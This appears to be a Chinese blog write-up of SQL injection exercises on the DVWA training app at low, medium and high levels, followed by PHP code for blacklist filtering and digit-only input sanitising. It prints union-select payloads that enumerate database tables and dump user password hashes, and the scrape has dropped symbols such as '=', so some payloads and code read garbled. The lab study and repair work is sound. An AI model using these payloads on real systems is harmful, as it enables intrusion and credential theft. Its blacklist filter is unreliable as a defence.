网站头部特效,淮南二中网站建设,内蒙古建设工程造价信息网官方网站,成都网站优化多少钱sql injection
0x01 low
sql语句没有过滤
经典注入#xff0c;通过逻辑or为真相当于select * from users where true#xff0c;99换成1也成
用union select 对齐列数#xff0c;查看数据库信息 1’ union select 1,2#
order by探测对齐列数更方便 1’ or 11 order b…sql injection
0x01 low
sql语句没有过滤
经典注入通过逻辑or为真相当于select * from users where true99换成1也成
用union select 对齐列数查看数据库信息 1’ union select 1,2#
order by探测对齐列数更方便 1’ or 11 order by 1,2# 比union select多一个判断
考虑编码
1’ union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema‘dvwa’#
还得是stack overflow nb https://stackoverflow.com/questions/20456152/mysql-error-illegal-mix-of-collations-for-operation-union 表guestbook, users
1’ union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name‘users’# 列: user_id,first_name,last_name,user,password,avatar,last_login,failed_login
1’ union select group_concat(user_id),group_concat(password) COLLATE utf8_general_ci from dvwa.users # 1’ or 11 union select group_concat(user_id),group_concat(password) COLLATE utf8_general_ci from dvwa.users # 拿到密码
和直接在数据库中看到的一致
0x02 medium
从select元素中获取值提交显示 抓包观察修改发现存在注入 数字型注入
order by 3 报错说明有两列select
1 union select 1, group_concat(table_schema) COLLATE utf8_general_ci from information_schema.tables where table_schema database() 1 union select 1, group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema database()# id1 union select 1, group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name 0x7573657273# 1 or 11 union select group_concat(user_id),group_concat(password) from users 搞定
数字型注入单引号被过滤
0x03 high 使用limit 1限制显示使用#注释即可
输入和回显不在同一页面可防止sqlmap攻击
1’ union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema ‘dvwa’#
1’ union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name ‘users’#
1’ union select group_concat(user_id),group_concat(password) COLLATE utf8_general_ci from users #
0x04 Repair 漏洞修复
修复漏洞同时保证保证功能完整
0x0401 Chars 字符型
过滤关键字发现不合规的输入就die终止 使用str_replace要优于preg_replace它将所有的$search替换为$replace$count显示替换的次数 非法输入 不可以打哦
详细代码 $suspects array(, ,and,or,union,select,#,\\,;,order,by,--,\);
$allnull array();
for ($i 0;$icount($suspects);$i 1){array_push($allnull,Hacker);
}
$count 0;$id $_REQUEST[ id ];$id str_replace($suspects,$allnull,$id,$count);if($count0){die(no, can not hack);
}0x0402 Numbers 数字型 intival将串转为数字is_numberic判断串是否为数字 用正则匹配所有数字提取出来重新组成串 这个串中只有数字如果抓包修改为id3 or 11那么id会变成311。虽然是一个不合法的数据也可以阻止了union select恶意查询 打开注释内容更有效。它检测到非数字就会die终止程序 // $judge is_numeric($id);
// if($judge false){
// die(sorry, can not pass);
// }preg_match_all(!\d!, $id, $matches);$numbers $matches[0];$id implode(,$numbers);